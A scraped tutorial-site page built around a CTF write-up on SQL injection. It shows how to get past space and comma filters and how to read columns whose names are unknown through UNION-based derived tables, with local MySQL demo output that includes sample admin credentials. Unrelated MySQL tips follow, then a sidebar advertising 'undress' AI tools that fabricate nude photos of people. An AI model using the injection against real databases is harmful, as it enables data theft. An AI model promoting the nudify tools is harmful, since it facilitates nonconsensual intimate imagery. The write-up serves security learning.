


This article mainly introduces Mysql to you on how to cleverly bypass unknown field names. The article gives detailed sample codes for your reference and study, which has a certain reference for learning mysql. The value of learning, friends who need it, come and take a look below.
Preface
This article introduces the fifth question of DDCTF, the technique of bypassing unknown field names. Here I use this machine to operate it. , the idea is great and clear, I would like to share it with you, let’s take a look at the detailed introduction:
Implementation idea
The question filters spaces and Commas and spaces can be bypassed by using %0a, %0b, %0c, %0d, %a0, or directly using parentheses. Commas can be bypassed by using join;
The field name where the flag is stored is unknown, information_schema.columns also filters the hex of the table name, that is, the field name cannot be obtained; then you can use joint query, the process is as follows:
The idea is to get the flag , let it appear under the known field name;
Sample code:
mysql> select (select 1)a,(select 2)b,(select 3)c,(select 4)d; +---+---+---+---+ | a | b | c | d | +---+---+---+---+ | 1 | 2 | 3 | 4 | +---+---+---+---+ 1 row in set (0.00 sec) mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d; +---+---+---+---+ | 1 | 2 | 3 | 4 | +---+---+---+---+ | 1 | 2 | 3 | 4 | +---+---+---+---+ 1 row in set (0.00 sec) mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user; +---+-------+----------+-------------+ | 1 | 2 | 3 | 4 | +---+-------+----------+-------------+ | 1 | 2 | 3 | 4 | | 1 | admin | admin888 | 110@110.com | | 2 | test | test123 | 119@119.com | | 3 | cs | cs123 | 120@120.com | +---+-------+----------+-------------+ 4 rows in set (0.01 sec) mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e; +-------------+ | 4 | +-------------+ | 4 | | 110@110.com | | 119@119.com | | 120@120.com | +-------------+ 4 rows in set (0.03 sec) mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3; +-------------+ | 4 | +-------------+ | 120@120.com | +-------------+ 1 row in set (0.01 sec) mysql> select * from user where id=1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i; +-------------+----------+----------+-------------+ | id | username | password | email | +-------------+----------+----------+-------------+ | 1 | admin | admin888 | 110@110.com | | 120@120.com | 1 | 1 | 1 | +-------------+----------+----------+-------------+ 2 rows in set (0.04 sec)
Summary
The above is the detailed content of Detailed explanation of the example code on how Mysql cleverly bypasses unknown field names. For more information, please follow other related articles on the PHP Chinese website!

本篇文章给大家带来了关于mysql的相关知识,其中主要介绍了关于架构原理的相关内容,MySQL Server架构自顶向下大致可以分网络连接层、服务层、存储引擎层和系统文件层,下面一起来看一下,希望对大家有帮助。

在mysql中,可以利用char()和REPLACE()函数来替换换行符;REPLACE()函数可以用新字符串替换列中的换行符,而换行符可使用“char(13)”来表示,语法为“replace(字段名,char(13),'新字符串') ”。

方法:1、利用right函数,语法为“update 表名 set 指定字段 = right(指定字段, length(指定字段)-1)...”;2、利用substring函数,语法为“select substring(指定字段,2)..”。

mysql的msi与zip版本的区别:1、zip包含的安装程序是一种主动安装,而msi包含的是被installer所用的安装文件以提交请求的方式安装;2、zip是一种数据压缩和文档存储的文件格式,msi是微软格式的安装包。

转换方法:1、利用cast函数,语法“select * from 表名 order by cast(字段名 as SIGNED)”;2、利用“select * from 表名 order by CONVERT(字段名,SIGNED)”语句。

本篇文章给大家带来了关于mysql的相关知识,其中主要介绍了关于MySQL复制技术的相关问题,包括了异步复制、半同步复制等等内容,下面一起来看一下,希望对大家有帮助。

本篇文章给大家带来了关于mysql的相关知识,其中主要介绍了mysql高级篇的一些问题,包括了索引是什么、索引底层实现等等问题,下面一起来看一下,希望对大家有帮助。

在mysql中,可以利用REGEXP运算符判断数据是否是数字类型,语法为“String REGEXP '[^0-9.]'”;该运算符是正则表达式的缩写,若数据字符中含有数字时,返回的结果是true,反之返回的结果是false。


Hot AI Tools

Undresser.AI Undress
AI-powered app for creating realistic nude photos

AI Clothes Remover
Online AI tool for removing clothes from photos.

Undress AI Tool
Undress images for free

Clothoff.io
AI clothes remover

AI Hentai Generator
Generate AI Hentai for free.

Hot Article

Hot Tools

mPDF
mPDF is a PHP library that can generate PDF files from UTF-8 encoded HTML. The original author, Ian Back, wrote mPDF to output PDF files "on the fly" from his website and handle different languages. It is slower than original scripts like HTML2FPDF and produces larger files when using Unicode fonts, but supports CSS styles etc. and has a lot of enhancements. Supports almost all languages, including RTL (Arabic and Hebrew) and CJK (Chinese, Japanese and Korean). Supports nested block-level elements (such as P, DIV),

SublimeText3 Linux new version
SublimeText3 Linux latest version

Notepad++7.3.1
Easy-to-use and free code editor

PhpStorm Mac version
The latest (2018.2.1) professional PHP integrated development tool

Dreamweaver CS6
Visual web development tools
